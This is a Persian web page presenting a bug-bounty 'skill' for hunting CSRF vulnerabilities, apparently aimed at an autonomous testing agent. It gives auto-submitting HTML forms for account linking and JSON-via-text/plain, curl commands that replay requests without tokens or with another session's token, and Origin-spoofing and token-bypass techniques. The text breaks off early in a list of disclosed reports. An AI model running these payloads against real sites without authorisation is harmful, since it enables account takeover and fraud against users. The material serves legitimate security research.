hunt-csrf

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۸۲۶ کیلوبایت۱۳ بخش

اسکیل شکار آسیب‌پذیری‌های CSRF — ساخته‌شده از ۱۵ گزارش عمومی باگ‌بانتی شامل واریانت‌های مدرن: دورزدن SameSite=Lax از ساب‌دامین خواهر (Argo CD ‏CVE-2024-22424)، mutationهای GraphQL از طریق GET (GitLab ‏$3,370)، خاموش‌شدن middleware مربوط به CSRF در کل فریم‌ورک (Stripe Dashboard ‏$5,000)، دورزدن توکن-CSRF با path-traversal (GitHub Enterprise ‏CVE-2022-23732) و پیوند اکانت اجتماعی ← ATO.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitHub Enterprise CVE-2022-23732 $10k), Origin-omission bypass (TikTok $2,500), OAuth-state null-byte (Streamlabs), WebSocket CSRF / CSWSH (Coda), default-SameSite email-change → ATO (YoYo Games $400), social-account-link CSRF (HackerOne), JSON-CSRF via text/plain on email-change (TikTok $500). Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns.

فلوی اجرای گام‌به‌گام

◆
hunt-csrfشروع اجرا
۱
‏همه‌ی endpointهای تغییردهنده‌ی state را نقشه کن — session احرازهویت‌شده را spider کن، برای POST/PUT/DELETE/PATCH فیلتر کن. هر فرم و فراخوانی AJAX را یادداشت کن.
۲
‏صفت‌های SameSite کوکی را چک کن — در DevTools ← Application ← Cookies. هر کوکی session بدون `SameSite=Strict` یا `Lax` را فلگ کن.
۳
‏ثبات توکن را تست کن — دوبار لاگین کن (sessionهای مختلف یا incognito). مقادیر `authenticity_token` / `csrfmiddlewaretoken` / `csrf-token` را در این حالت‌ها مقایسه کن:
۴
‏حذف توکن را تست کن — فیلد توکن CSRF را کلاً از request مربوط به POST بردار. اگر سرور ۲۰۰ برگرداند، CSRF داری.
۵
‏جانشینی توکن را تست کن — توکن را با یکی از session متفاوت جایگزین کن. قبول‌کردن سرور = اعتبارسنجی شکسته.
۶
‏endpointهای JSON را برای CSRF با form-POST تست کن — چک کن آیا Content-Type اعمال می‌شود:
۷
‏RelayState مربوط به OAuth/SSO را شکار کن — فلوهای SAML/OIDC را intercept کن. تست کن آیا `RelayState` برای same-origin اعتبارسنجی می‌شود. URLهای خارجی تزریق کن.
۸
‏فلوهای پیوند اجتماعی را چک کن — هر فیچر «اکانت X خود را وصل کن». این‌ها غالباً OAuth مبتنی‌بر redirect استفاده می‌کنند که CSRF روی callback می‌تواند اکانت اجتماعی مهاجم را مرتبط کند.
۹
‏داشبوردهای third-party روی ساب‌دامین‌ها را تست کن — Grafana، Kibana، Prometheus. نسخه را چک کن، CVEهای شناخته‌شده را اعمال کن، وضعیت CSRF پیش‌فرض را تست کن.
۱۰
‏صفحه‌ی PoC مربوط به HTML بساز — روی origin متفاوت میزبانی کن، request را شلیک کن، تأیید کن کوکی‌ها فرستاده و اکشن اجرا می‌شود.
۱۱
‏مهاجم همین حالا چه کاری می‌تواند انجام دهد؟ — مهاجم باید بتواند یک اکشن تغییردهنده‌ی state مشخص (پیوند اکانت، تغییر ایمیل، حذف داده، ارتباط اجتماعی) را از طرف قربانی trigger کند، بدون هیچ تعاملی بیشتر از بازدید یک URL یا صفحه.
۱۲
‏قربانی چه چیزی از دست می‌دهد؟ — آسیب عینی را مشخص کن: دسترسی اکانت (ATO)، افشای داده، ضرر مالی، آسیب اعتباری. «توکن CSRF غایب است» تأثیر نیست — «مهاجم می‌تواند اکانت Oculus خودش را به اکانت Facebook قربانی پیوند دهد و دسترسی کامل به پروفایل بگیرد» تأثیر است.
۱۳
‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟ — باید بتوانی: (الف) اکانت مهاجم و قربانی بسازی، (ب) PoC مربوط به HTML استاتیک میزبانی کنی، (ج) قربانی به PoC سر بزند، (د) تأیید کنی اکشن در اکانت قربانی اجرا شد — همه در ۱۰ دقیقه بدون پیش‌نیاز اضافه.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۳ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-csrfکلاس آسیب‌پذیری · ۱۳ بخش۱سایر۲بخش تکمیلی۳اهداف ارزشمند۴سطح حمله وسیگنال‌ها۵مراحل شکار۶Payload والگوهای تشخیص۷علل ریشه‌ای۸تکنیک‌های Bypass۹دروازه‌ی اعتبارسنجی۱۰اهداف ارزشمند۱۱نمونه‌هایواقعی و impact۱۲بخش تکمیلی۱۳دروازه‌ی اعتبارسنجی
سایر · ۳اهداف ارزشمند · ۳سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

سایر

Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF
ترجمه‌ی کامل ✓بخش ۱ از ۱۳

بخش تکمیلی سند

‏کلاینت خام HTTP (curl، Burp Repeater، هر کلاینت اسکریپتی) مرورگر نیست: هر مقدار Origin/Referer که ست کنی را می‌فرستد، از هر مسیری، روی همان connection مربوط به کوکی احرازهویت‌شده‌ی تو. خیلی از اپ‌هایی که ادعای دفاع CSRF دارند فقط یک چک رشته‌ای ساده روی هدر ورودی Origin/Referer می‌کنند (آیا مقدار موردانتظار را دارد/برابرش است؟) به‌جای enforce واقعی same-origin — می‌توانی با ست‌کردن هدر مستقیم آن چک را رد کنی، بدون نیاز به تحویل میان‌سایتی واقعی (میزبانی صفحه‌ی HTML، مرورگر headless). برای دقیقاً همین الگو، این سریع‌تر و قابل‌اعتمادتر از ساختن صفحه‌ی مهاجم واقعی است:

POST /profile HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
Cookie: <authenticated session>

username=csrf_poc

اگر متنی یک origin/دامنه‌ی مشخص را به‌عنوان صفحه‌ی مهاجم «موردانتظار» نام ببرد، آن مقدار تحت‌اللفظی غالباً دقیقاً همان چیزی است که چک سرور دنبالش است — verbatim در Origin امتحانش کن (اگر Origin به‌تنهایی کار نکرد به Referer برگرد). فقط وقتی صفحه‌ی میان-origin واقعی بساز (تحویل مرورگر واقعی) که تارگت enforce واقعی مبتنی‌بر SameSite/fetch داشته باشد که هدر جعلی نتواند ردش کند.

۲

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۲ از ۱۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏CSRF فقط روی اکشن‌های تغییردهنده‌ی state مهم است که مرورگر می‌تواند فریفته میان‌سایتی انجامشان دهد.

‏فلوی تست:

  1. ‏endpoint فرم را GET کن تا baseline بسازی و ببینی چه فیلدهایی هست (دنبال فیلدهای مخفی csrf_token، authenticity_token، _token، csrfmiddlewaretoken بگرد).
  2. ‏اکشن تغییردهنده‌ی state را بدون هیچ فیلد توکن CSRF بفرست. فقط پارامترهای عملیاتی (ایمیل، مبلغ و غیره) را بفرست.
  3. ‏از Content-Type مربوط به «simple-request» استفاده کن — application/x-www-form-urlencoded، multipart/form-data یا text/plain سه content-type «ساده»‌ی CORS هستند که یک فرم میان-origin بدون preflight می‌تواند بفرستد. endpoint مربوط به JSON فقط اگر سرور آن‌ها را رد کند در برابر CSRF مقاوم است — اگر body مربوط به text/plain را هم قبول می‌کند (شایع)، یک payload مربوط به text/plain بساز که JSON معتبر parse شود (بخش JSON-CSRF-via-text/plain را ببین). endpoint مربوط به JSON را با فرض اینکه application/json به‌تنهایی محافظت می‌کند رد نکن.
  4. ‏اگر اکشن موفق شد (2xx، بدون خطای «invalid token») ← CSRF تأیید است.

‏تارگت‌های پرارزش (به ترتیب تأثیر):

  • ‏تغییر ایمیل/پسورد ← تصاحب اکانت
  • ‏انتقال پول یا پرداخت ← کلاهبرداری مالی
  • ‏اکشن‌های ادمین (تخصیص نقش، حذف کاربر)
  • ‏پیوند اکانت اجتماعی OAuth ← ATO ماندگار

‏تکنیک‌های دورزدن توکن وقتی توکن هست:

  • ‏فیلد توکن را کلاً حذف کن — بعضی فریم‌ورک‌ها فقط اگر فیلد هست اعتبارسنجی می‌کنند، نه اگر نیست
  • ‏مقدار خالی بفرست (_token=) — بعضی‌ها فرمت را چک می‌کنند نه حضور را
  • ‏توکن را از session دیگری کپی کن — بعضی توکن‌ها به session گره نخورده‌اند

‏اسکوپ: CSRF را روی فرم‌های لاگین تست نکن (session موجودی برای اکسپلویت نیست)، logout (تأثیر واقعی ندارد) یا endpointهای GET فقط-خواندنی.

۳

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۳ از ۱۳

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏CSRF وقتی پرارزش می‌شود که اکشن‌های تغییردهنده‌ی state با پیامدهای سطح-اکانت یا مالی را لمس کند. پرپرداخت‌ترین تارگت‌ها:

  • ‏بردارهای تصاحب اکانت: فلوهای OAuth/SSO (دستکاری RelayState)، پیوند/قطع‌پیوند اکانت اجتماعی (Oculus-Facebook، SocialClub)، فیچرهای import-friends که توکن‌های OAuth را افشا می‌کنند
  • ‏زیرساخت احراز هویت: Login CSRF، session fixation از طریق CSRF، ارتباط اجباری اکانت
  • ‏endpointهای API که POST میان-origin قبول می‌کنند: APIهای JSON، APIهای heartbeat/activity، هرچیزی که enforce مربوط به Content-Type را رد می‌کند
  • ‏یکپارچه‌سازی‌های third-party: Grafana، داشبوردهای مانیتورینگ، آنالیتیکس embed — غالباً در محافظت CSRF عقب‌اند
  • ‏پلتفرم‌های اجتماعی: کالکشن‌های Twitter/X، import دوستان، mutationهای گراف اجتماعی — اکشن‌های احرازهویت‌شده‌ی پرحجم با تأثیر واقعی کاربر

‏انواع دارایی که بیشتر پرداخت می‌کنند: فلوهای auth محصول اصلی > گیت‌وی‌های API > یکپارچه‌سازی‌های third-party روی ساب‌دامین‌ها > پنل‌های ادمین.

۴

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۴ از ۱۳

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL
/oauth/authorize?RelayState=
/accounts/link
/import/friends
/api/v*/heartbeat
/api/v*/collect
/monitoring/* (Grafana, Prow, Prometheus)
/auth/saml/callback
/connect/* (social integrations)
سیگنال‌های هدر پاسخ
# Missing or weak SameSite cookie attributes
Set-Cookie: session=abc123; HttpOnly        # no SameSite = vulnerable
Set-Cookie: session=abc123; SameSite=None   # explicitly allows cross-site

# Missing CSRF headers
# No X-Frame-Options or permissive CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true      # dangerous combo
الگوهای JS / DOM
// Static or predictable CSRF tokens
meta[name="csrf-token"]   // grep if value changes across sessions
authenticity_token        // Rails — check if reused across page loads

// JSON endpoints without Content-Type enforcement
fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})

// No CSRF token in form at all
<form method="POST" action="/accounts/link">  // no hidden token field
سیگنال‌های پشته‌ی فنی
  • ‏اپ‌های Rails: دنبال authenticity_token بگرد — تست کن آیا به‌ازای هر session ثابت است
  • ‏اپ‌های Django: csrfmiddlewaretoken را چک کن — استفاده‌ی‌مجدد میان‌کاربر/session را تست کن
  • ‏نمونه‌های Grafana: CVE-2022-21703 — نسخه را از /api/health چک کن
  • ‏فلوهای SAMLv2/OIDC: پارامتر RelayState به‌ندرت اعتبارسنجی می‌شود
  • ‏APIهای Express/Node: غالباً middleware مربوط به CSRF را روی مسیرهای /api/* رد می‌کنند
۵

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۵ از ۱۳

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏همه‌ی endpointهای تغییردهنده‌ی state را نقشه کن — session احرازهویت‌شده را spider کن، برای POST/PUT/DELETE/PATCH فیلتر کن. هر فرم و فراخوانی AJAX را یادداشت کن.
  1. ‏صفت‌های SameSite کوکی را چک کن — در DevTools ← Application ← Cookies. هر کوکی session بدون SameSite=Strict یا Lax را فلگ کن.
  1. ‏ثبات توکن را تست کن — دوبار لاگین کن (sessionهای مختلف یا incognito). مقادیر authenticity_token / csrfmiddlewaretoken / csrf-token را در این حالت‌ها مقایسه کن:
  • ‏همان session، لودهای مختلف صفحه (باید متفاوت باشد)
  • ‏sessionهای مختلف برای همان کاربر
  • ‏کاربرهای کاملاً متفاوت
  1. ‏حذف توکن را تست کن — فیلد توکن CSRF را کلاً از request مربوط به POST بردار. اگر سرور ۲۰۰ برگرداند، CSRF داری.
  1. ‏جانشینی توکن را تست کن — توکن را با یکی از session متفاوت جایگزین کن. قبول‌کردن سرور = اعتبارسنجی شکسته.
  1. ‏endpointهای JSON را برای CSRF با form-POST تست کن — چک کن آیا Content-Type اعمال می‌شود:
  • ‏application/x-www-form-urlencoded به endpoint مربوط به JSON بفرست
  • ‏text/plain با body مربوط به JSON بفرست
  • ‏اگر قبول شد، فرم HTML می‌تواند میان‌origin آن را trigger کند
  1. ‏RelayState مربوط به OAuth/SSO را شکار کن — فلوهای SAML/OIDC را intercept کن. تست کن آیا RelayState برای same-origin اعتبارسنجی می‌شود. URLهای خارجی تزریق کن.
  1. ‏فلوهای پیوند اجتماعی را چک کن — هر فیچر «اکانت X خود را وصل کن». این‌ها غالباً OAuth مبتنی‌بر redirect استفاده می‌کنند که CSRF روی callback می‌تواند اکانت اجتماعی مهاجم را مرتبط کند.
  1. ‏داشبوردهای third-party روی ساب‌دامین‌ها را تست کن — Grafana، Kibana، Prometheus. نسخه را چک کن، CVEهای شناخته‌شده را اعمال کن، وضعیت CSRF پیش‌فرض را تست کن.
  1. ‏صفحه‌ی PoC مربوط به HTML بساز — روی origin متفاوت میزبانی کن، request را شلیک کن، تأیید کن کوکی‌ها فرستاده و اکشن اجرا می‌شود.
مراحل استخراج‌شده
  1. ۱‏همه‌ی endpointهای تغییردهنده‌ی state را نقشه کن — session احرازهویت‌شده را spider کن، برای POST/PUT/DELETE/PATCH فیلتر کن. هر فرم و فراخوانی AJAX را یادداشت کن.
  2. ۲‏صفت‌های SameSite کوکی را چک کن — در DevTools ← Application ← Cookies. هر کوکی session بدون `SameSite=Strict` یا `Lax` را فلگ کن.
  3. ۳‏ثبات توکن را تست کن — دوبار لاگین کن (sessionهای مختلف یا incognito). مقادیر `authenticity_token` / `csrfmiddlewaretoken` / `csrf-token` را در این حالت‌ها مقایسه کن:
  4. ۴‏همان session، لودهای مختلف صفحه (باید متفاوت باشد)
  5. ۵‏sessionهای مختلف برای همان کاربر
  6. ۶‏کاربرهای کاملاً متفاوت
  7. ۷‏حذف توکن را تست کن — فیلد توکن CSRF را کلاً از request مربوط به POST بردار. اگر سرور ۲۰۰ برگرداند، CSRF داری.
  8. ۸‏جانشینی توکن را تست کن — توکن را با یکی از session متفاوت جایگزین کن. قبول‌کردن سرور = اعتبارسنجی شکسته.
  9. ۹‏endpointهای JSON را برای CSRF با form-POST تست کن — چک کن آیا Content-Type اعمال می‌شود:
  10. ۱۰‏`application/x-www-form-urlencoded` به endpoint مربوط به JSON بفرست
  11. ۱۱‏`text/plain` با body مربوط به JSON بفرست
  12. ۱۲‏اگر قبول شد، فرم HTML می‌تواند میان‌origin آن را trigger کند
  13. ۱۳‏RelayState مربوط به OAuth/SSO را شکار کن — فلوهای SAML/OIDC را intercept کن. تست کن آیا `RelayState` برای same-origin اعتبارسنجی می‌شود. URLهای خارجی تزریق کن.
  14. ۱۴‏فلوهای پیوند اجتماعی را چک کن — هر فیچر «اکانت X خود را وصل کن». این‌ها غالباً OAuth مبتنی‌بر redirect استفاده می‌کنند که CSRF روی callback می‌تواند اکانت اجتماعی مهاجم را مرتبط کند.
۶

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۶ از ۱۳

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

PoC مربوط به CSRF پایه (Form POST)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/v1/account/link">
    <input type="hidden" name="provider" value="attacker_account_id" />
    <input type="hidden" name="token" value="oauth_token_here" />
  </form>
</body>
</html>
CSRF روی JSON از طریق text/plain (دورزدن چک Content-Type)
<html>
<body onload="document.forms[0].submit()">
  <form method="POST" action="https://target.com/api/heartbeat"
        enctype="text/plain">
    <!-- browser sends: {"status":"ok","x":"=padding"} -->
    <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
  </form>
</body>
</html>
curl: تست حذف توکن CSRF
# Capture a valid request, then replay without token
curl -s -X POST https://target.com/settings/email \
  -H "Cookie: session=YOUR_SESSION" \
  -d "email=attacker@evil.com" \
  -v 2>&1 | grep -E "HTTP|location|error"
curl: تست استفاده‌ی‌مجدد توکن میان sessionها
# Get token from session A
TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
  | grep -oP 'authenticity_token[^"]*value="\K[^"]+')

# Use token A in session B's request
curl -s -X POST https://target.com/settings/update \
  -H "Cookie: session=SESSION_B" \
  -d "authenticity_token=$TOKEN_A&email=test@test.com" \
  -v
الگوهای grep برای recon
# Find CSRF token fields in HTML responses
grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'

# Find forms without CSRF tokens
grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"

# Check SameSite in response headers
curl -sI https://target.com/login | grep -i "set-cookie"

# Find RelayState parameters
grep -r "RelayState" --include="*.js" .
چک نسخه برای Grafana ‏CVE-2022-21703
curl -s https://monitoring.target.com/api/health | jq '.version'
# Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
۷

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۷ از ۱۳

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏توکن‌های CSRF ثابت به‌ازای هر session — توسعه‌دهندگان یک توکن هنگام لاگین می‌سازند و همان را دوباره استفاده می‌کنند. باگ Airbnb: authenticity_token در همه‌ی لودهای صفحه‌ی یک session یکسان بود و لو‌دادنش بدیهی بود.
  1. ‏توکن به هویت کاربر گره نخورده — توکن سراسری سمت‌سرور معتبر است یا طبق زمان‌بندی می‌چرخد، نه به‌ازای کاربر/session. باگ Mozilla: csrftoken میان کاربران قابل‌استفاده‌ی‌مجدد بود.
  1. ‏توکن غایب روی endpointهای «ثانویه» — توسعه‌دهندگان لاگین/signup را محافظت می‌کنند ولی endpointهای API، فلوهای import یا handlerهای webhook را یادشان می‌رود.
  1. ‏فرض امنیت API مربوط به JSON — باور به اینکه Content-Type: application/json از CSRF جلوگیری می‌کند. از طریق preflight مربوط به CORS جلوگیری می‌کند — مگر اینکه سرور text/plain یا application/x-www-form-urlencoded هم قبول کند.
  1. ‏‏SameSite=None برای embedهای میان‌سایتی — توسعه‌دهندگان برای پشتیبانی embed در iframe یا یکپارچه‌سازی third-party مقدار SameSite=None می‌گذارند و ناخواسته CSRF را دوباره فعال می‌کنند.
  1. ‏RelayState مربوط به OAuth اعتبارسنجی نمی‌شود — توسعه‌دهندگان SAML/OIDC را پیاده می‌کنند ولی RelayState را راهنمای redirect می‌دانند، نه پارامتر state مربوط به CSRF که به binding رمزنگاری نیاز دارد.
  1. ‏پیکربندی‌غلط فریم‌ورک — middleware مربوط به CSRF برای مسیرهای /api/* در Django/Rails مستثنا شده چون «کلاینت‌های API لازمش ندارند»، ولی کلاینت‌های JS مرورگرمحور لازمش دارند.
  1. ‏پیش‌فرض‌های نرم‌افزار third-party — Grafana، Kibana، Jenkins در نسخه‌های قدیمی با محافظت CSRF ضعیف یا بدون آن منتشر شدند؛ تیم‌ها پچ نمی‌کنند یا چک نمی‌کنند.
۸

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۸ از ۱۳

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دفاع: کوکی‌های SameSite=Lax

‏دورزدن: requestهای GET مربوط به navigation سطح‌بالا هنوز کار می‌کنند. اگر اکشن حساس بتواند از طریق GET trigger شود (یا زنجیره‌ی redirect مقدار POST را به GET تبدیل کند)، Lax محافظت نمی‌کند. همچنین: ساب‌دامین‌ها هنوز می‌توانند برای دامنه‌ی والد کوکی ست کنند.

دفاع: توکن CSRF موجود است

‏دورزدن‌ها:

  • ‏توکن به‌ازای session ثابت است — از طریق XSS، نشت Referer یا صفحه‌ی کش‌شده بدزد
  • ‏توکن سمت‌سرور اعتبارسنجی نمی‌شود — فقط بردارش و امتحان کن
  • ‏توکن فقط بر اساس طول/فرمت اعتبارسنجی می‌شود — مقدار جعلی ولی درست-فرمت‌شده بفرست
  • ‏توکن به session گره خورده ولی session قابل‌پیش‌بینی است
دفاع: اعمال `Content-Type: application/json`

‏دورزدن: از enctype مربوط به text/plain با نام‌های input ساختگی استفاده کن که JSON معتبر تولید کنند. سرور body مربوط به JSON می‌گیرد، preflight مربوط به CORS رد می‌شود.

دفاع: چک هدر Referer/Origin

‏دورزدن‌ها:

  • ‏‏Origin مربوط به Null: از iframe سندباکس‌شده استفاده کن (<iframe sandbox="allow-scripts allow-forms">)
  • ‏دورزدن ساب‌دامین: اگر *.target.com مورداعتماد است و روی هر ساب‌دامینی XSS داری
  • ‏حذف Referer: گذارهای HTTPS←HTTP هدر Referer را حذف می‌کنند
  • ‏تطبیق ضعیف: target.com.evil.com از تطبیق رشته‌ای ساده رد می‌شود
دفاع: الگوی double-submit cookie

‏دورزدن: اگر مهاجم بتواند کوکی ست کند (تسخیر ساب‌دامین، تزریق کوکی از طریق HTTP)، می‌تواند هم کوکی و هم فیلد فرم را با مقادیر تحت‌کنترل مهاجمِ یکسان ست کند.

دفاع: هدر request سفارشی (مثل `X-Requested-With`)

‏دورزدن: requestهای ساده (form POST، text/plain) preflight را trigger نمی‌کنند و نمی‌توانند هدر سفارشی ست کنند — ولی بعضی سرورها فقط حضور هدر را چک می‌کنند نه مقدارش را، و بعضی فریم‌ورک‌ها request بدون آن را قبول می‌کنند.

CSRF موبایل از طریق deeplink با scheme سفارشی

‏CSRF فقط مربوط به مرورگر نیست. برای تارگت‌هایی که اپ موبایل دارند، handlerهای deeplink / custom-scheme اکسپورت‌شده (scheme://action از مانیفست Android / ‏Info.plist در iOS) را enumerate کن و تست کن آیا بازکردن یکی اکشن تغییردهنده‌ی state انجام می‌دهد (follow، link، خرید) با session آمبینت اپ بدون توکن CSRF — به قربانی با یک لینک ساده یا QR code قابل‌تحویل است. افشاشده: reports/583987، reports/805073.

مراحل استخراج‌شده
  1. ۱‏توکن به‌ازای session ثابت است — از طریق XSS، نشت Referer یا صفحه‌ی کش‌شده بدزد
  2. ۲‏توکن سمت‌سرور اعتبارسنجی نمی‌شود — فقط بردارش و امتحان کن
  3. ۳‏توکن فقط بر اساس طول/فرمت اعتبارسنجی می‌شود — مقدار جعلی ولی درست-فرمت‌شده بفرست
  4. ۴‏توکن به session گره خورده ولی session قابل‌پیش‌بینی است
  5. ۵‏‏Origin مربوط به Null: از iframe سندباکس‌شده استفاده کن (`<iframe sandbox="allow-scripts allow-forms">`)
  6. ۶‏دورزدن ساب‌دامین: اگر `*.target.com` مورداعتماد است و روی هر ساب‌دامینی XSS داری
  7. ۷‏حذف Referer: گذارهای HTTPS←HTTP هدر Referer را حذف می‌کنند
  8. ۸‏تطبیق ضعیف: `target.com.evil.com` از تطبیق رشته‌ای ساده رد می‌شود
۹

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۹ از ۱۳

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  1. ‏مهاجم همین حالا چه کاری می‌تواند انجام دهد؟ — مهاجم باید بتواند یک اکشن تغییردهنده‌ی state مشخص (پیوند اکانت، تغییر ایمیل، حذف داده، ارتباط اجتماعی) را از طرف قربانی trigger کند، بدون هیچ تعاملی بیشتر از بازدید یک URL یا صفحه.
  1. ‏قربانی چه چیزی از دست می‌دهد؟ — آسیب عینی را مشخص کن: دسترسی اکانت (ATO)، افشای داده، ضرر مالی، آسیب اعتباری. «توکن CSRF غایب است» تأثیر نیست — «مهاجم می‌تواند اکانت Oculus خودش را به اکانت Facebook قربانی پیوند دهد و دسترسی کامل به پروفایل بگیرد» تأثیر است.
  1. ‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟ — باید بتوانی: (الف) اکانت مهاجم و قربانی بسازی، (ب) PoC مربوط به HTML استاتیک میزبانی کنی، (ج) قربانی به PoC سر بزند، (د) تأیید کنی اکشن در اکانت قربانی اجرا شد — همه در ۱۰ دقیقه بدون پیش‌نیاز اضافه.
مراحل استخراج‌شده
  1. ۱‏مهاجم همین حالا چه کاری می‌تواند انجام دهد؟ — مهاجم باید بتواند یک اکشن تغییردهنده‌ی state مشخص (پیوند اکانت، تغییر ایمیل، حذف داده، ارتباط اجتماعی) را از طرف قربانی trigger کند، بدون هیچ تعاملی بیشتر از بازدید یک URL یا صفحه.
  2. ۲‏قربانی چه چیزی از دست می‌دهد؟ — آسیب عینی را مشخص کن: دسترسی اکانت (ATO)، افشای داده، ضرر مالی، آسیب اعتباری. «توکن CSRF غایب است» تأثیر نیست — «مهاجم می‌تواند اکانت Oculus خودش را به اکانت Facebook قربانی پیوند دهد و دسترسی کامل به پروفایل بگیرد» تأثیر است.
  3. ۳‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟ — باید بتوانی: (الف) اکانت مهاجم و قربانی بسازی، (ب) PoC مربوط به HTML استاتیک میزبانی کنی، (ج) قربانی به PoC سر بزند، (د) تأیید کنی اکشن در اکانت قربانی اجرا شد — همه در ۱۰ دقیقه بدون پیش‌نیاز اضافه.
۱۰

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۳

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریو ۱: تصاحب اکانت اجتماعی از طریق Import Friends ‏(Rockstar Games)

‏مهاجم صفحه‌ای مخرب ساخت که یکپارچه‌سازی OAuth مربوط به «Import Friends» را هدف می‌گرفت. وقتی کاربر احرازهویت‌شده‌ی SocialClub به صفحه می‌آمد، CSRF تبادل توکن OAuth را با اکانت اجتماعی تحت‌کنترل مهاجم trigger می‌کرد. اکانت SocialClub قربانی برای همیشه به هویت اجتماعی Facebook/مهاجم پیوند می‌خورد و دسترسی کامل به اکانت بدون اطلاع قربانی می‌داد. به‌خاطر مسیر تصاحب کامل اکانت High رتبه گرفت.

سناریو ۲: ربودن اکانت Facebook از طریق CSRF مربوط به یکپارچه‌سازی Oculus

‏هنگام پیوند اکانت Oculus-Facebook، callback مربوط به OAuth اعتبارسنجی درست state برای CSRF نداشت. مهاجم می‌توانست URLی بسازد که وقتی کاربر احرازهویت‌شده‌ی Facebook که فلوی پیوند Oculus را شروع کرده بود لودش می‌کرد، credentialهای دستگاه Oculus مهاجم را به اکانت Facebook قربانی مرتبط می‌کرد. مهاجم بعد از طریق اپ Oculus دسترسی ماندگار به پروفایل Facebook قربانی داشت. حمله فقط نیاز داشت قربانی وقتی در Facebook لاگین است روی لینک کلیک کند.

سناریو ۳: CSRF روی API مربوط به JSON برای Heartbeat/ردیابی فعالیت

‏endpoint مربوط به POST که application/json قبول می‌کرد از طرف توسعه‌دهندگان CSRF-safe فرض شده بود. پژوهشگر فرم HTMLی با enctype="text/plain" ساخت که نام input آن طوری طراحی شده بود که هنگام submit شدن JSON از نظر نحوی معتبر تولید کند. مرورگر request را میان‌origin بدون preflight فرستاد (بدون هدر سفارشی، text/plain یک request ساده است)، کوکی‌ها پیوست شدند، و سرور body مربوط به JSON را به‌عنوان قانونی پردازش کرد — داده‌ی فعالیت تحت‌کنترل مهاجم را بی‌صدا زیر هویت اکانت قربانی لاگ کرد.

۱۱

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +5 — 2020-2024)
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۳

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / coordinated-disclosure زیر این اسکیل را گسترش می‌دهند. چهار کیس CSRF را به ATO کامل زنجیر می‌کنند؛ هر پنج مدرن‌اند (عصر SameSite).

  1. ‏Argo CD — دورزدن SameSite=Lax از طریق ساب‌دامین خواهر + سوءاستفاده از Content-Type (CVE-2024-22424) (GHSA-92mw-q256-5vwg · Writeup)
  • ‏زیرکلاس: زنجیره‌ی پیکربندی‌غلط SameSite=None/Lax — دورزدن parent-domain مشترک + CSRF روی JSON از طریق عدم اعمال Content-Type
